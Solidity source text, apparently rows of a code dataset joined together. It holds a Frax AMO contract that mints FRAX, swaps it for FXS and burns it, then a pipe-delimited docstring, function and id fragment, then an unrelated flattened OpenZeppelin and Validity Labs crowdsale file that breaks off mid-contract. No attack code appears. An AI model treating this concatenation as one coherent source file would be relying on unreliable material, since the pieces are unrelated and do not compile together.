// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "../Frax/Frax.sol";
import "../ERC20/ERC20.sol";
import "../Frax/Pools/FraxPool.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Governance/AccessControl.sol";
import '../Misc_AMOs/FraxPoolInvestorForV2.sol';
import '../Uniswap/UniswapV2Router02_Modified.sol';
contract FXS1559_AMO is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
FRAXStablecoin private FRAX;
FRAXShares private FXS;
FraxPoolInvestorForV2 private InvestorAMO;
FraxPool private pool;
IUniswapV2Router02 private UniRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public collateral_address;
address public pool_address;
address public owner_address;
address public timelock_address;
address public custodian_address;
address public frax_address;
address public fxs_address;
address payable public UNISWAP_ROUTER_ADDRESS = payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public investor_amo_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public immutable missing_decimals;
uint256 private constant PRICE_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6;
// Minimum collateral ratio needed for new FRAX minting
uint256 public min_cr = 850000;
// Amount the contract borrowed
uint256 public minted_sum_historical = 0;
uint256 public burned_sum_historical = 0;
// FRAX -> FXS max slippage
uint256 public max_slippage = 200000; // 20%
// AMO profits
bool public override_amo_profits = false;
uint256 public overridden_amo_profit = 0;
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _pool_address,
address _collateral_address,
address _owner_address,
address _custodian_address,
address _timelock_address,
address _investor_amo_address
) {
frax_address = _frax_contract_address;
FRAX = FRAXStablecoin(_frax_contract_address);
fxs_address = _fxs_contract_address;
FXS = FRAXShares(_fxs_contract_address);
pool_address = _pool_address;
pool = FraxPool(_pool_address);
collateral_address = _collateral_address;
collateral_token = ERC20(_collateral_address);
investor_amo_address = _investor_amo_address;
InvestorAMO = FraxPoolInvestorForV2(_investor_amo_address);
timelock_address = _timelock_address;
owner_address = _owner_address;
custodian_address = _custodian_address;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier onlyCustodian() {
require(msg.sender == custodian_address, "You are not the rewards custodian");
_;
}
/* ========== VIEWS ========== */
function unspentInvestorAMOProfit_E18() public view returns (uint256 unspent_profit_e18) {
if (override_amo_profits){
unspent_profit_e18 = overridden_amo_profit;
}
else {
uint256[5] memory allocations = InvestorAMO.showAllocations();
uint256 borrowed_USDC = InvestorAMO.borrowed_balance();
unspent_profit_e18 = (allocations[4]).sub(borrowed_USDC);
unspent_profit_e18 = unspent_profit_e18.mul(10 ** missing_decimals);
}
}
function cr_info() public view returns (
uint256 effective_collateral_ratio,
uint256 global_collateral_ratio,
uint256 excess_collateral_e18,
uint256 frax_mintable
) {
global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 frax_total_supply = FRAX.totalSupply();
uint256 global_collat_value = (FRAX.globalCollateralValue()).add(unspentInvestorAMOProfit_E18());
effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6
// Same as availableExcessCollatDV() in FraxPool
if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1
uint256 required_collat_dollar_value_d18 = (frax_total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio
if (global_collat_value > required_collat_dollar_value_d18) {
excess_collateral_e18 = global_collat_value.sub(required_collat_dollar_value_d18);
frax_mintable = excess_collateral_e18.mul(COLLATERAL_RATIO_PRECISION).div(global_collateral_ratio);
}
else {
excess_collateral_e18 = 0;
frax_mintable = 0;
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Needed for the Frax contract to not brick when this contract is added as a pool
function collatDollarBalance() public pure returns (uint256) {
return 1e18; // Anti-brick
}
/* ========== RESTRICTED FUNCTIONS ========== */
// This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from
// on the main FRAX contract
function _mintFRAXForSwap(uint256 frax_amount) internal {
// Make sure the current CR isn't already too low
require (FRAX.global_collateral_ratio() > min_cr, "Collateral ratio is already too low");
// Make sure the FRAX minting wouldn't push the CR down too much
uint256 current_collateral_E18 = (FRAX.globalCollateralValue()).add(unspentInvestorAMOProfit_E18());
uint256 cur_frax_supply = FRAX.totalSupply();
uint256 new_frax_supply = cur_frax_supply.add(frax_amount);
uint256 new_cr = (current_collateral_E18.mul(PRICE_PRECISION)).div(new_frax_supply);
require (new_cr > min_cr, "Minting would cause collateral ratio to be too low");
// Mint the frax
minted_sum_historical = minted_sum_historical.add(frax_amount);
FRAX.pool_mint(address(this), frax_amount);
}
function _swapFRAXforFXS(uint256 frax_amount) internal returns (uint256 frax_spent, uint256 fxs_received) {
// Get the FXS price
uint256 fxs_price = FRAX.fxs_price();
// Approve the FRAX for the router
FRAX.approve(UNISWAP_ROUTER_ADDRESS, frax_amount);
address[] memory FRAX_FXS_PATH = new address[](2);
FRAX_FXS_PATH[0] = frax_address;
FRAX_FXS_PATH[1] = fxs_address;
uint256 min_fxs_out = frax_amount.mul(PRICE_PRECISION).div(fxs_price);
min_fxs_out = min_fxs_out.sub(min_fxs_out.mul(max_slippage).div(PRICE_PRECISION));
// Buy some FXS with FRAX
(uint[] memory amounts) = UniRouterV2.swapExactTokensForTokens(
frax_amount,
min_fxs_out,
FRAX_FXS_PATH,
address(this),
2105300114 // Expiration: a long time from now
);
return (amounts[0], amounts[1]);
}
// Burn unneeded or excess FRAX
function mintSwapBurn(uint256 override_USDC_amount, bool use_override) public onlyByOwnerOrGovernance {
uint256 mintable_frax;
if (use_override){
mintable_frax = override_USDC_amount.mul(10 ** missing_decimals).mul(COLLATERAL_RATIO_PRECISION).div(FRAX.global_collateral_ratio());
}
else {
(, , , mintable_frax) = cr_info();
}
_mintFRAXForSwap(mintable_frax);
(, uint256 fxs_received_ ) = _swapFRAXforFXS(mintable_frax);
burnFXS(fxs_received_);
}
// Burn unneeded or excess FRAX
function burnFRAX(uint256 frax_amount) public onlyByOwnerOrGovernance {
FRAX.burn(frax_amount);
burned_sum_historical = burned_sum_historical.add(frax_amount);
}
// Burn unneeded FXS
function burnFXS(uint256 amount) public onlyByOwnerOrGovernance {
FXS.approve(address(this), amount);
FXS.pool_burn_from(address(this), amount);
}
/* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
require(new_timelock != address(0), "Timelock address cannot be 0");
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setPool(address _pool_address) external onlyByOwnerOrGovernance {
pool_address = _pool_address;
pool = FraxPool(_pool_address);
}
function setMinimumCollateralRatio(uint256 _min_cr) external onlyByOwnerOrGovernance {
min_cr = _min_cr;
}
function setMaxSlippage(uint256 _max_slippage) external onlyByOwnerOrGovernance {
max_slippage = _max_slippage;
}
function setAMOProfits(uint256 _overridden_amo_profit_e18, bool _override_amo_profits) external onlyByOwnerOrGovernance {
overridden_amo_profit = _overridden_amo_profit_e18; // E18
override_amo_profits = _override_amo_profits;
}
function setRouter(address payable _router_address) external onlyByOwnerOrGovernance {
UNISWAP_ROUTER_ADDRESS = _router_address;
UniRouterV2 = IUniswapV2Router02(_router_address);
}
function setInvestorAMO(address _investor_amo_address) external onlyByOwnerOrGovernance {
investor_amo_address = _investor_amo_address;
InvestorAMO = FraxPoolInvestorForV2(_investor_amo_address);
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance {
// Can only be triggered by owner or governance, not custodian
// Tokens are sent to the custodian, as a sort of safeguard
ERC20(tokenAddress).transfer(custodian_address, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
/* ========== EVENTS ========== */
event Recovered(address token, uint256 amount);
} | Burn unneeded or excess FRAX | function mintSwapBurn(uint256 override_USDC_amount, bool use_override) public onlyByOwnerOrGovernance {
uint256 mintable_frax;
if (use_override){
mintable_frax = override_USDC_amount.mul(10 ** missing_decimals).mul(COLLATERAL_RATIO_PRECISION).div(FRAX.global_collateral_ratio());
}
else {
(, , , mintable_frax) = cr_info();
}
_mintFRAXForSwap(mintable_frax);
(, uint256 fxs_received_ ) = _swapFRAXforFXS(mintable_frax);
burnFXS(fxs_received_);
}
| 1,038,486 |
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/crowdsale/IIvoCrowdsale.sol
/**
* @title Interface of IVO Crowdale
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IIvoCrowdsale {
/**
* @return The starting time of the crowdsale.
*/
function startingTime() public view returns(uint256);
}
// File: contracts/vault/IVault.sol
/*
* @title Interface for basic vaults
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IVault {
/**
* @notice Adding beneficiary to the vault
* @param beneficiary The account that receives token
* @param value The amount of token allocated
*/
function receiveFor(address beneficiary, uint256 value) public;
/**
* @notice Update the releaseTime for vaults
* @param roundEndTime The new releaseTime
*/
function updateReleaseTime(uint256 roundEndTime) public;
}
// File: contracts/property/CounterGuard.sol
/**
* @title modifier contract that guards certain properties only triggered once
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract CounterGuard {
/**
* @notice Controle if a boolean attribute (false by default) was updated to true.
* @dev This attribute is designed specifically for recording an action.
* @param criterion The boolean attribute that records if an action has taken place
*/
modifier onlyOnce(bool criterion) {
require(criterion == false, "Already been set");
_;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/property/Reclaimable.sol
/**
* @title Reclaimable
* @dev This contract gives owner right to recover any ERC20 tokens accidentally sent to
* the token contract. The recovered token will be sent to the owner of token.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract Reclaimable is Ownable {
using SafeERC20 for IERC20;
/**
* @notice Let the owner to retrieve other tokens accidentally sent to this contract.
* @dev This function is suitable when no token of any kind shall be stored under
* the address of the inherited contract.
* @param tokenToBeRecovered address of the token to be recovered.
*/
function reclaimToken(IERC20 tokenToBeRecovered) external onlyOwner {
uint256 balance = tokenToBeRecovered.balanceOf(address(this));
tokenToBeRecovered.safeTransfer(owner(), balance);
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
pragma solidity ^0.5.0;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param rate Number of token units a buyer gets per wei
* @dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* @param wallet Address where collected funds will be forwarded to
* @param token Address of the token being sold
*/
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns (address payable) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.
* Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid
* conditions are not met.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends
* its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send
* tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions,
* etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts/membership/ManagerRole.sol
/**
* @title Manager Role
* @dev This contract is developed based on the Manager contract of OpenZeppelin.
* The key difference is the management of the manager roles is restricted to one owner
* account. At least one manager should exist in any situation.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract ManagerRole is Ownable {
using Roles for Roles.Role;
using SafeMath for uint256;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
uint256 private _numManager;
constructor() internal {
_addManager(msg.sender);
_numManager = 1;
}
/**
* @notice Only manager can take action
*/
modifier onlyManager() {
require(isManager(msg.sender), "The account is not a manager");
_;
}
/**
* @notice This function allows to add managers in batch with control of the number of
* interations
* @param accounts The accounts to be added in batch
*/
// solhint-disable-next-line
function addManagers(address[] calldata accounts) external onlyOwner {
uint256 length = accounts.length;
require(length <= 256, "too many accounts");
for (uint256 i = 0; i < length; i++) {
_addManager(accounts[i]);
}
}
/**
* @notice Add an account to the list of managers,
* @param account The account address whose manager role needs to be removed.
*/
function removeManager(address account) external onlyOwner {
_removeManager(account);
}
/**
* @notice Check if an account is a manager
* @param account The account to be checked if it has a manager role
* @return true if the account is a manager. Otherwise, false
*/
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
/**
*@notice Get the number of the current managers
*/
function numManager() public view returns (uint256) {
return _numManager;
}
/**
* @notice Add an account to the list of managers,
* @param account The account that needs to tbe added as a manager
*/
function addManager(address account) public onlyOwner {
require(account != address(0), "account is zero");
_addManager(account);
}
/**
* @notice Renounce the manager role
* @dev This function was not explicitly required in the specs. There should be at
* least one manager at any time. Therefore, at least two when one manage renounces
* themselves.
*/
function renounceManager() public {
require(_numManager >= 2, "Managers are fewer than 2");
_removeManager(msg.sender);
}
/** OVERRIDE
* @notice Allows the current owner to relinquish control of the contract.
* @dev Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
revert("Cannot renounce ownership");
}
/**
* @notice Internal function to be called when adding a manager
* @param account The address of the manager-to-be
*/
function _addManager(address account) internal {
_numManager = _numManager.add(1);
managers.add(account);
emit ManagerAdded(account);
}
/**
* @notice Internal function to remove one account from the manager list
* @param account The address of the to-be-removed manager
*/
function _removeManager(address account) internal {
_numManager = _numManager.sub(1);
managers.remove(account);
emit ManagerRemoved(account);
}
}
// File: contracts/membership/PausableManager.sol
/**
* @title Pausable Manager Role
* @dev This manager can also pause a contract. This contract is developed based on the
* Pause contract of OpenZeppelin.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract PausableManager is ManagerRole {
event BePaused(address manager);
event BeUnpaused(address manager);
bool private _paused; // If the crowdsale contract is paused, controled by the manager...
